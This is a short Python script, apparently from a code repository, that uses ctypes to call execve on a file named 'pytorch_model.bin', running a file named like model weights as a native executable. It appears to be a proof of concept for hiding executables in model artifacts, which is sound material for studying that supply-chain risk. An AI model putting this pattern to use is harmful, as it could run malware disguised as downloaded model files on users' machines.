File size: 558 Bytes
c6f4888 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import ctypes
import os
# Define the C functions and constants
libc = ctypes.CDLL(None)
libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
# Path to the binary file
binary_path = b'pytorch_model.bin'
# Prepare the arguments for execve
args = [b'exec_ls', None]
env = [None]
# Execute the binary file
result = libc.execve(binary_path, (ctypes.c_char_p * len(args))(*args), (ctypes.c_char_p * len(env))(*env))
# Note: execve replaces the current process, so execution will not return to this point.
|